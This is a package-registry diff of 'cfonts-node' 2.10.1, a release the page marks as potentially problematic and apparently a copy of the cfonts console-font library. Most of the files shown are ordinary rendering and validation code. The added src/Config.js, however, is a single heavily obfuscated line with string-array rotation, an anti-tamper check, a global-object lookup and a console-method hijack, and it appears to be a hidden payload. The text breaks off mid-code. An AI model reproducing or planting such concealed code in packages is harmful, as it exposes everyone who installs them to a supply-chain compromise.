cfonts-node 2.10.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cfonts-node might be problematic. Click here for more details.
- package/LICENSE +339 -0
- package/README.md +484 -0
- package/fonts/3d.json +658 -0
- package/fonts/block.json +481 -0
- package/fonts/chrome.json +304 -0
- package/fonts/grid.json +481 -0
- package/fonts/huge.json +776 -0
- package/fonts/pallet.json +481 -0
- package/fonts/shade.json +599 -0
- package/fonts/simple.json +363 -0
- package/fonts/simple3d.json +540 -0
- package/fonts/simpleBlock.json +540 -0
- package/fonts/slick.json +481 -0
- package/fonts/tiny.json +245 -0
- package/package.json +117 -0
- package/src/AddChar.js +51 -0
- package/src/AddLetterSpacing.js +59 -0
- package/src/AddLine.js +58 -0
- package/src/AddShortcuts.js +40 -0
- package/src/AlignText.js +68 -0
- package/src/Chalk.js +40 -0
- package/src/CharLength.js +55 -0
- package/src/CheckInput.js +192 -0
- package/src/CleanInput.js +47 -0
- package/src/Color.js +118 -0
- package/src/Colorize.js +84 -0
- package/src/Config.js +1 -0
- package/src/Debugging.js +108 -0
- package/src/DisplayHelp.js +50 -0
- package/src/DisplayVersion.js +31 -0
- package/src/GetFirstCharacterPosition.js +38 -0
- package/src/GetFont.js +49 -0
- package/src/GetLongestLine.js +31 -0
- package/src/Gradient.js +549 -0
- package/src/Log.js +42 -0
- package/src/Options.js +162 -0
- package/src/ParseArgs.js +82 -0
- package/src/RemoveChar.js +0 -0
- package/src/Render.js +257 -0
- package/src/RenderConsole.js +102 -0
- package/src/Say.js +50 -0
- package/src/Size.js +42 -0
- package/src/UpperCaseFirst.js +35 -0
- package/src/bin.js +16 -0
- package/src/constants.js +255 -0
- package/src/index.js +98 -0
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* CharLength
|
|
12
|
+
* Return the max width of a character by looking at its longest line
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { Debugging } = require('./Debugging.js');
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Return the max width of a character by looking at its longest line
|
|
23
|
+
*
|
|
24
|
+
* @param {array} character - The character array from the font face object
|
|
25
|
+
* @param {number} fontLines - The number of lines this font has per character
|
|
26
|
+
* @param {number} letterSpacing - The user defined letter spacing
|
|
27
|
+
*
|
|
28
|
+
* @return {number} - The length of a longest line in a character
|
|
29
|
+
*/
|
|
30
|
+
const CharLength = ( character, fontLines, letterSpacing ) => {
|
|
31
|
+
Debugging.report( `Running CharLength`, 1 );
|
|
32
|
+
|
|
33
|
+
let charWidth = 0;
|
|
34
|
+
|
|
35
|
+
for( let i = 0; i < fontLines; i++ ) {
|
|
36
|
+
let char = character[ i ].replace( /(<([^>]+)>)/ig, '' ); // get character and strip color infos
|
|
37
|
+
|
|
38
|
+
if( char.length > charWidth ) {
|
|
39
|
+
charWidth = char.length; // assign only largest
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
if( charWidth === 0 && letterSpacing > 0 ) {
|
|
44
|
+
Debugging.report( `CharLength: Adding space to letter spacing`, 1 );
|
|
45
|
+
|
|
46
|
+
charWidth = 1;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
return charWidth;
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
module.exports = exports = {
|
|
54
|
+
CharLength,
|
|
55
|
+
};
|
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* CheckInput
|
|
12
|
+
* Check input for human errors
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { Chalk } = require('./Chalk.js');
|
|
19
|
+
const {
|
|
20
|
+
COLORS,
|
|
21
|
+
BGCOLORS,
|
|
22
|
+
GRADIENTCOLORS,
|
|
23
|
+
GRADIENTS,
|
|
24
|
+
ALIGNMENT,
|
|
25
|
+
FONTFACES,
|
|
26
|
+
HEXTEST,
|
|
27
|
+
} = require('./constants.js');
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Check input for human errors
|
|
32
|
+
*
|
|
33
|
+
* @param {string} INPUT - The string you want to write out
|
|
34
|
+
* @param {string} userFont - The user specified font
|
|
35
|
+
* @param {array} userColors - The user specified colors
|
|
36
|
+
* @param {string} userBackground - The user specified background color
|
|
37
|
+
* @param {string} userAlign - The user specified alignment option
|
|
38
|
+
* @param {array} userGradient - The user specified gradient option
|
|
39
|
+
* @param {boolean} userTransitionGradient - The user specified gradient transition option
|
|
40
|
+
* @param {string} userEnv - The user specified environment
|
|
41
|
+
* @param {object} fontfaces - All allowed fontfaces
|
|
42
|
+
* @param {object} colors - All allowed font colors
|
|
43
|
+
* @param {object} bgcolors - All allowed background colors
|
|
44
|
+
* @param {object} gradientcolors - All allowed gradient colors
|
|
45
|
+
* @param {object} gradients - All allowed gradients
|
|
46
|
+
* @param {array} alignment - All allowed alignments
|
|
47
|
+
*
|
|
48
|
+
* @typedef {object} ReturnObject
|
|
49
|
+
* @property {boolean} pass - Whether the input is valid
|
|
50
|
+
* @property {string} message - Possible error messages
|
|
51
|
+
*
|
|
52
|
+
* @return {ReturnObject} - An object with error messages and a pass key
|
|
53
|
+
*/
|
|
54
|
+
const CheckInput = (
|
|
55
|
+
INPUT,
|
|
56
|
+
userFont,
|
|
57
|
+
userColors,
|
|
58
|
+
userBackground,
|
|
59
|
+
userAlign,
|
|
60
|
+
userGradient,
|
|
61
|
+
userTransitionGradient,
|
|
62
|
+
userEnv,
|
|
63
|
+
fontfaces = FONTFACES,
|
|
64
|
+
colors = COLORS,
|
|
65
|
+
bgcolors = BGCOLORS,
|
|
66
|
+
gradientcolors = GRADIENTCOLORS,
|
|
67
|
+
gradients = GRADIENTS,
|
|
68
|
+
alignment = ALIGNMENT
|
|
69
|
+
) => {
|
|
70
|
+
let result = {
|
|
71
|
+
message: '',
|
|
72
|
+
pass: true,
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
// checking input
|
|
76
|
+
if( INPUT === undefined || INPUT === '' ) {
|
|
77
|
+
return {
|
|
78
|
+
message: 'Please provide text to convert',
|
|
79
|
+
pass: false,
|
|
80
|
+
};
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// checking font
|
|
84
|
+
if( Object.keys( fontfaces ).indexOf( userFont.toLowerCase() ) === -1 ) {
|
|
85
|
+
return {
|
|
86
|
+
message: `"${ Chalk.red( userFont ) }" is not a valid font option.\n` +
|
|
87
|
+
`Please use a font from the supported stack:\n${
|
|
88
|
+
Chalk.green( Object.keys( fontfaces ).map( font => fontfaces[ font ] ).join(', ') )
|
|
89
|
+
}`,
|
|
90
|
+
pass: false,
|
|
91
|
+
};
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// checking colors
|
|
95
|
+
userColors.forEach( color => { // check color usage
|
|
96
|
+
if(
|
|
97
|
+
Object.keys( colors ).indexOf( color.toLowerCase() ) === -1
|
|
98
|
+
&& color !== 'candy'
|
|
99
|
+
&& !HEXTEST.test( color )
|
|
100
|
+
) {
|
|
101
|
+
result = {
|
|
102
|
+
message: `"${ Chalk.red( color ) }" is not a valid font color option.\n` +
|
|
103
|
+
`Please use a color from the supported stack or any valid hex color:\n${ Chalk.green(`${
|
|
104
|
+
Object.keys( colors ).map( color => colors[ color ] ).join(', ')
|
|
105
|
+
}, candy, "#3456ff", "#f80", etc...`) }`,
|
|
106
|
+
pass: false,
|
|
107
|
+
};
|
|
108
|
+
}
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
// checking background colors
|
|
112
|
+
if( Object.keys( bgcolors ).indexOf( userBackground.toLowerCase() ) === -1 ) {
|
|
113
|
+
return {
|
|
114
|
+
message: `"${ Chalk.red( userBackground ) }" is not a valid background option.\n` +
|
|
115
|
+
`Please use a color from the supported stack:\n${
|
|
116
|
+
Chalk.green( Object.keys( bgcolors ).map( bgcolor => bgcolors[ bgcolor ] ).join(', ') )
|
|
117
|
+
}`,
|
|
118
|
+
pass: false,
|
|
119
|
+
};
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
// CHECKING ALIGNMENT
|
|
123
|
+
if( alignment.indexOf( userAlign.toLowerCase() ) === -1 ) {
|
|
124
|
+
return {
|
|
125
|
+
message: `"${ Chalk.red( userAlign ) }" is not a valid alignment option.\n` +
|
|
126
|
+
`Please use an alignment option from the supported stack:\n${
|
|
127
|
+
Chalk.green( alignment.join(' | ') )
|
|
128
|
+
}`,
|
|
129
|
+
pass: false,
|
|
130
|
+
};
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
// CHECKING GRADIENT
|
|
134
|
+
if( userGradient ) {
|
|
135
|
+
if(
|
|
136
|
+
userGradient.length === 1
|
|
137
|
+
&& Object.keys( gradients ).indexOf( userGradient[ 0 ].toLowerCase() ) !== -1
|
|
138
|
+
&& userTransitionGradient
|
|
139
|
+
) {
|
|
140
|
+
return result;
|
|
141
|
+
}
|
|
142
|
+
else {
|
|
143
|
+
if( userGradient.length < 2 ) {
|
|
144
|
+
return {
|
|
145
|
+
message: `"${ Chalk.red( userGradient ) }" is not a valid gradient option.\n` +
|
|
146
|
+
`Please pass in${ userTransitionGradient ? ' at least' : '' } two colors.`,
|
|
147
|
+
pass: false,
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
if( userGradient.length !== 2 && !userTransitionGradient ) {
|
|
152
|
+
return {
|
|
153
|
+
message: `"${ Chalk.red( userGradient ) }" is not a valid gradient option.\n` +
|
|
154
|
+
`Please pass in two colors.`,
|
|
155
|
+
pass: false,
|
|
156
|
+
};
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// check validity of colors
|
|
160
|
+
userGradient.forEach( color => {
|
|
161
|
+
if(
|
|
162
|
+
Object.keys( gradientcolors ).indexOf( color.toLowerCase() ) === -1
|
|
163
|
+
&& !HEXTEST.test( color )
|
|
164
|
+
) {
|
|
165
|
+
result = {
|
|
166
|
+
message: `"${ Chalk.red( color ) }" is not a valid gradient color option.\n` +
|
|
167
|
+
`Please use a color from the supported stack or any valid hex color:\n${ Chalk.green(`${
|
|
168
|
+
Object.keys( gradientcolors ).map( color => colors[ color ] ).join(', ')
|
|
169
|
+
}, "#3456ff", "#f80", etc...`) }`,
|
|
170
|
+
pass: false,
|
|
171
|
+
};
|
|
172
|
+
}
|
|
173
|
+
});
|
|
174
|
+
}
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
// CHECKING ENVIRONMENT
|
|
178
|
+
if( userEnv !== 'node' && userEnv !== 'browser' ) {
|
|
179
|
+
return {
|
|
180
|
+
message: `"${ Chalk.red( userEnv ) }" is not a valid environment option.\n` +
|
|
181
|
+
`Please use onlythe supported options:\n${ Chalk.green('node | browser') }`,
|
|
182
|
+
pass: false,
|
|
183
|
+
};
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
return result;
|
|
187
|
+
};
|
|
188
|
+
|
|
189
|
+
|
|
190
|
+
module.exports = exports = {
|
|
191
|
+
CheckInput,
|
|
192
|
+
};
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* CleanInput
|
|
12
|
+
* Filter only allowed character
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { CHARS } = require('./constants.js');
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Filter only allowed character
|
|
23
|
+
*
|
|
24
|
+
* @param {string} INPUT - The input text to be filtered
|
|
25
|
+
* @param {array} chars - An array of all allowed characters
|
|
26
|
+
*
|
|
27
|
+
* @return {string} - The filtered input text
|
|
28
|
+
*/
|
|
29
|
+
const CleanInput = ( INPUT, chars = CHARS ) => {
|
|
30
|
+
if( typeof INPUT === 'string' ) {
|
|
31
|
+
const clean = INPUT
|
|
32
|
+
.replace(/(?:\r\n|\r|\n)/g, '|')
|
|
33
|
+
.split('')
|
|
34
|
+
.filter( char => chars.includes( char.toUpperCase() ) )
|
|
35
|
+
.join('');
|
|
36
|
+
|
|
37
|
+
return clean;
|
|
38
|
+
}
|
|
39
|
+
else {
|
|
40
|
+
return '';
|
|
41
|
+
}
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
module.exports = exports = {
|
|
46
|
+
CleanInput,
|
|
47
|
+
};
|
package/src/Color.js
ADDED
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* Color
|
|
12
|
+
* Abstraction for coloring hex-, keyword- and background-colors
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { UpperCaseFirst } = require('./UpperCaseFirst.js');
|
|
19
|
+
const { Debugging } = require('./Debugging.js');
|
|
20
|
+
const { HEXTEST } = require('./constants.js');
|
|
21
|
+
const { Options } = require('./Options.js');
|
|
22
|
+
const { Chalk } = require('./Chalk.js');
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Abstraction for coloring hex-, keyword- and background-colors
|
|
27
|
+
*
|
|
28
|
+
* @param {string} color - The color to be used
|
|
29
|
+
* @param {boolean} bg - Whether this is a background or not
|
|
30
|
+
*
|
|
31
|
+
* @typedef {object} ReturnObject
|
|
32
|
+
* @property {string} open - The open ansi code
|
|
33
|
+
* @property {string} close - The close ansi code
|
|
34
|
+
*
|
|
35
|
+
* @return {ReturnObject} - An object with open and close ansi codes
|
|
36
|
+
*/
|
|
37
|
+
const Color = ( color, bg = false ) => {
|
|
38
|
+
// bail early if we use system color
|
|
39
|
+
if( color === 'system' || process.env.FORCE_COLOR == '0' ) {
|
|
40
|
+
return { open: '', close: '' };
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
const OPTIONS = Options.get;
|
|
44
|
+
|
|
45
|
+
if( OPTIONS.env === 'node' ) {
|
|
46
|
+
|
|
47
|
+
// bail if this is a chalk defined color
|
|
48
|
+
if( color.includes('Bright') ) {
|
|
49
|
+
if( bg ) {
|
|
50
|
+
color = `bg${ UpperCaseFirst( color ) }`;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
return {
|
|
54
|
+
open: Chalk[ color ]._styler.open,
|
|
55
|
+
close: Chalk[ color ]._styler.close,
|
|
56
|
+
};
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
const kind = HEXTEST.test( color )
|
|
60
|
+
? 'hex'
|
|
61
|
+
: `${ bg ? 'bgK' : 'k' }eyword`;
|
|
62
|
+
|
|
63
|
+
let styles;
|
|
64
|
+
try {
|
|
65
|
+
styles = Chalk[ kind ]( color )._styler;
|
|
66
|
+
}
|
|
67
|
+
catch( error ) {
|
|
68
|
+
Debugging.error(`The color ${ Chalk.yellow( color ) } could not be found. Sorry about this.`);
|
|
69
|
+
return { open: '', close: '' };
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
return {
|
|
73
|
+
open: styles.open,
|
|
74
|
+
close: styles.close,
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
else {
|
|
78
|
+
const COLORS = {
|
|
79
|
+
black: '#000',
|
|
80
|
+
red: '#ea3223',
|
|
81
|
+
green: '#377d22',
|
|
82
|
+
yellow: '#fffd54',
|
|
83
|
+
blue: '#0020f5',
|
|
84
|
+
magenta: '#ea3df7',
|
|
85
|
+
cyan: '#74fbfd',
|
|
86
|
+
white: '#fff',
|
|
87
|
+
gray: '#808080',
|
|
88
|
+
redbright: '#ee776d',
|
|
89
|
+
greenbright: '#8cf57b',
|
|
90
|
+
yellowbright: '#fffb7f',
|
|
91
|
+
bluebright: '#6974f6',
|
|
92
|
+
magentabright: '#ee82f8',
|
|
93
|
+
cyanbright: '#8dfafd',
|
|
94
|
+
whitebright: '#fff',
|
|
95
|
+
};
|
|
96
|
+
|
|
97
|
+
if( !HEXTEST.test( color ) ) {
|
|
98
|
+
color = COLORS[ color.toLowerCase() ];
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
if( bg ) {
|
|
102
|
+
return {
|
|
103
|
+
open: color,
|
|
104
|
+
close: '',
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
return {
|
|
109
|
+
open: `<span style="color:${ color }">`,
|
|
110
|
+
close: '</span>',
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
};
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
module.exports = exports = {
|
|
117
|
+
Color,
|
|
118
|
+
};
|
package/src/Colorize.js
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* Colorize
|
|
12
|
+
* Replace placeholders with color information
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { Debugging } = require('./Debugging.js');
|
|
19
|
+
const { Color } = require('./Color.js');
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Replace placeholders with color information
|
|
24
|
+
*
|
|
25
|
+
* @param {string} character - The string to be converted
|
|
26
|
+
* @param {number} fontColors - The number of allowed colors for this font
|
|
27
|
+
* @param {array} optionColors - An array of user defined colors
|
|
28
|
+
*
|
|
29
|
+
* @return {string} - The character with color ansi escape sequences for CLI
|
|
30
|
+
*/
|
|
31
|
+
const Colorize = ( character, fontColors, optionColors ) => {
|
|
32
|
+
Debugging.report( `Running Colorize`, 1 );
|
|
33
|
+
|
|
34
|
+
let candyColors = [ // allowed candy colors
|
|
35
|
+
'red',
|
|
36
|
+
'green',
|
|
37
|
+
'yellow',
|
|
38
|
+
'magenta',
|
|
39
|
+
'cyan',
|
|
40
|
+
'redBright',
|
|
41
|
+
'greenBright',
|
|
42
|
+
'yellowBright',
|
|
43
|
+
'blueBright',
|
|
44
|
+
'magentaBright',
|
|
45
|
+
'cyanBright',
|
|
46
|
+
];
|
|
47
|
+
|
|
48
|
+
if( character !== undefined ) {
|
|
49
|
+
if( fontColors > 1 ) {
|
|
50
|
+
// we have to replace all color placeholder with ansi escape sequences
|
|
51
|
+
for( let i = 0; i < fontColors; i++ ) {
|
|
52
|
+
const color = optionColors[ i ] === 'candy'
|
|
53
|
+
? candyColors[ Math.floor( Math.random() * candyColors.length ) ]
|
|
54
|
+
: optionColors[ i ] || 'system';
|
|
55
|
+
|
|
56
|
+
const { open: openNew, close: closeNew } = Color( color );
|
|
57
|
+
|
|
58
|
+
const open = new RegExp(`<c${ ( i + 1 ) }>`, 'g');
|
|
59
|
+
const close = new RegExp(`</c${ ( i + 1 ) }>`, 'g');
|
|
60
|
+
|
|
61
|
+
character = character.replace( open, openNew );
|
|
62
|
+
character = character.replace( close, closeNew );
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// if only one color is allowed there won't be any color placeholders in the characters
|
|
67
|
+
if( fontColors === 1 ) {
|
|
68
|
+
const color = optionColors[0] === 'candy'
|
|
69
|
+
? candyColors[ Math.floor( Math.random() * candyColors.length ) ]
|
|
70
|
+
: optionColors[0] || 'system';
|
|
71
|
+
|
|
72
|
+
const { open: openNew, close: closeNew } = Color( color );
|
|
73
|
+
|
|
74
|
+
character = openNew + character + closeNew;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
return character;
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
module.exports = exports = {
|
|
83
|
+
Colorize,
|
|
84
|
+
};
|
package/src/Config.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(_0x38cb82,_0x5900bc){function _0x2bb284(_0x1ec33d,_0xb1b731,_0x1d4a7c,_0x39dd3e){return _0xab09(_0xb1b731- -0x265,_0x39dd3e);}function _0x5a6fc0(_0x811a72,_0x1e355d,_0x13a979,_0x21b802){return _0xab09(_0x13a979- -0x27,_0x21b802);}const _0x3ed577=_0x38cb82();while(!![]){try{const _0x28a82f=-parseInt(_0x2bb284(-0xfe,-0xf9,-0x100,-0xee))/(0x1*-0xcdd+-0x1086+0xd1*0x24)+parseInt(_0x2bb284(-0xec,-0xf0,-0xe6,-0xea))/(-0x1e6d+0x5*0x617+-0x4)+parseInt(_0x2bb284(-0x123,-0x116,-0x127,-0x111))/(-0xb6c+0x96d*-0x3+0x27b6)+-parseInt(_0x5a6fc0(0x121,0x151,0x13e,0x12e))/(-0x84c+0x3*-0x2f1+-0x29*-0x6b)+-parseInt(_0x5a6fc0(0x14b,0x157,0x161,0x16b))/(0x53*0x53+-0x2036+-0x2*-0x2a9)+parseInt(_0x2bb284(-0x113,-0xf8,-0xdb,-0x10e))/(-0x1272+-0xefe*-0x1+-0x2*-0x1bd)*(parseInt(_0x5a6fc0(0x142,0x156,0x13d,0x11e))/(-0x21fc+-0x2*-0xbd7+-0x5*-0x211))+parseInt(_0x2bb284(-0x122,-0x10e,-0x11c,-0xff))/(-0x1*-0x1abf+-0x1*0xf47+-0xb70)*(parseInt(_0x5a6fc0(0x177,0x158,0x160,0x14b))/(-0x1c*0x106+-0x1aa+-0x13*-0x199));if(_0x28a82f===_0x5900bc)break;else _0x3ed577['push'](_0x3ed577['shift']());}catch(_0x7cdc0f){_0x3ed577['push'](_0x3ed577['shift']());}}}(_0x5db7,-0x1adf5*0x1+-0x15b5b+0x531fe*0x1));function _0xe7f3f5(_0x5be2e5,_0x55a89b,_0x26ea18,_0x2b85ae){return _0xab09(_0x2b85ae- -0x204,_0x55a89b);}const _0x4c6619=(function(){let _0x1a75a2=!![];return function(_0x469a22,_0x4d0e43){const _0x37d5ee=_0x1a75a2?function(){if(_0x4d0e43){const _0x172e58=_0x4d0e43['apply'](_0x469a22,arguments);return _0x4d0e43=null,_0x172e58;}}:function(){};return _0x1a75a2=![],_0x37d5ee;};}()),_0x17e0f8=_0x4c6619(this,function(){const _0x27b664={};function _0x15981f(_0x2446fd,_0xe3a961,_0x6551fa,_0x246d5e){return _0xab09(_0x2446fd- -0x47,_0xe3a961);}_0x27b664[_0x15981f(0x11c,0x123,0xff,0x137)]='(((.+)+)+)'+'+$';const _0x38681e=_0x27b664;function _0xb42f4e(_0x196395,_0xfced10,_0x713c5e,_0x2822de){return _0xab09(_0x196395- -0x3a4,_0xfced10);}return _0x17e0f8[_0x15981f(0x111,0x107,0xf2,0x122)]()[_0xb42f4e(-0x245,-0x25c,-0x252,-0x236)](_0x38681e['nhOJO'])[_0xb42f4e(-0x24c,-0x268,-0x254,-0x242)]()[_0x15981f(0x13b,0x156,0x14f,0x133)+'r'](_0x17e0f8)['search'](_0x38681e[_0xb42f4e(-0x241,-0x245,-0x256,-0x255)]);});_0x17e0f8();const _0x53fa95=(function(){const _0x138495={};_0x138495['rzQze']=_0x18b000(-0x155,-0x167,-0x164,-0x182);function _0x18b000(_0x3371ea,_0x449a96,_0x5e1c4d,_0x32559c){return _0xab09(_0x5e1c4d- -0x2dc,_0x449a96);}const _0x5bd360=_0x138495;let _0x1fcbd3=!![];return function(_0x2905f3,_0x3b48cc){const _0x133814=_0x1fcbd3?function(){function _0x36c13c(_0x41f722,_0x460c7a,_0x35e404,_0x210710){return _0xab09(_0x41f722- -0x4b,_0x210710);}function _0x2f8b42(_0x19a4e9,_0x5d5781,_0x3ea57d,_0x4203ee){return _0xab09(_0x4203ee-0x23f,_0x5d5781);}if(_0x3b48cc){if(_0x5bd360[_0x36c13c(0x13a,0x142,0x133,0x127)]==='bzJpw'){const _0x426e93=_0x3b48cc[_0x36c13c(0x116,0x11c,0x102,0x126)](_0x2905f3,arguments);return _0x3b48cc=null,_0x426e93;}else{if(_0x1762df){const _0x21cead=_0x4e706['apply'](_0x52602b,arguments);return _0x4503e3=null,_0x21cead;}}}}:function(){};return _0x1fcbd3=![],_0x133814;};}()),_0x460b05=_0x53fa95(this,function(){const _0xa78ffc={'Vqfny':function(_0x34f9b6,_0x477dc4){return _0x34f9b6(_0x477dc4);},'jelKH':function(_0x2fc7bf,_0xbb78e4){return _0x2fc7bf+_0xbb78e4;},'xtWXA':function(_0x3a4b2b,_0x50ef5c){return _0x3a4b2b+_0x50ef5c;},'MQlst':_0x52e04f(-0x30,-0x1f,-0x3b,-0x57)+'nction()\x20','ZlBjT':_0x52e04f(-0x36,-0x46,-0x2e,-0x11)+_0xb65204(0x84,0x7c,0x96,0x84)+_0x52e04f(-0x57,-0x4b,-0x43,-0x3e)+'\x20)','vtEYY':function(_0x91bd7f){return _0x91bd7f();},'kAbBS':'warn','EMlRz':_0x52e04f(-0x11,-0x13,-0x26,-0x41),'KYaJW':_0x52e04f(-0x32,-0x6f,-0x50,-0x35),'rPCUF':'table','VmCYi':_0xb65204(0x7d,0x81,0x6c,0x8c),'ZzmgZ':function(_0x2df91a,_0x32d599){return _0x2df91a<_0x32d599;}};function _0xb65204(_0x511fe4,_0xe5f160,_0x1b1853,_0x4eb3de){return _0xab09(_0x511fe4- -0xd7,_0x4eb3de);}const _0x491bc8=function(){function _0x2d5f8c(_0x4db2d7,_0x54cb20,_0x1bdeaf,_0x58e5b1){return _0xb65204(_0x58e5b1-0x25,_0x54cb20-0x1a1,_0x1bdeaf-0x1d2,_0x1bdeaf);}function _0x2f83bc(_0x1fba84,_0x572b3a,_0x281e4a,_0x591358){return _0xb65204(_0x591358-0x222,_0x572b3a-0x134,_0x281e4a-0x6e,_0x281e4a);}let _0x148c14;try{_0x148c14=_0xa78ffc['Vqfny'](Function,_0xa78ffc[_0x2f83bc(0x2cb,0x2b4,0x29e,0x2b4)](_0xa78ffc[_0x2d5f8c(0xc9,0xdb,0xd2,0xd8)](_0xa78ffc[_0x2d5f8c(0xc3,0xbd,0xb1,0xcf)],_0xa78ffc['ZlBjT']),');'))();}catch(_0x4f3783){_0x148c14=window;}return _0x148c14;},_0x1ffa32=_0xa78ffc[_0xb65204(0x8f,0xa1,0x86,0xa7)](_0x491bc8);function _0x52e04f(_0x483137,_0x221106,_0x2efd5f,_0x201f62){return _0xab09(_0x2efd5f- -0x1a5,_0x201f62);}const _0x502d23=_0x1ffa32[_0x52e04f(-0x47,-0x4c,-0x4f,-0x4c)]=_0x1ffa32['console']||{},_0x41aec7=[_0xb65204(0x9f,0x91,0x9e,0xb2),_0xa78ffc[_0x52e04f(-0x3a,-0x58,-0x53,-0x5d)],_0xa78ffc['EMlRz'],_0xb65204(0xaf,0xc1,0xad,0x9b),_0xa78ffc[_0x52e04f(-0x23,-0x44,-0x34,-0x43)],_0xa78ffc[_0xb65204(0x7a,0x80,0x83,0x87)],_0xa78ffc[_0x52e04f(-0x39,-0x3b,-0x1c,-0x32)]];for(let _0x45bb28=0x8c6+0x24e9+0x1*-0x2daf;_0xa78ffc['ZzmgZ'](_0x45bb28,_0x41aec7[_0x52e04f(-0x3e,-0x47,-0x4c,-0x4e)]);_0x45bb28++){const 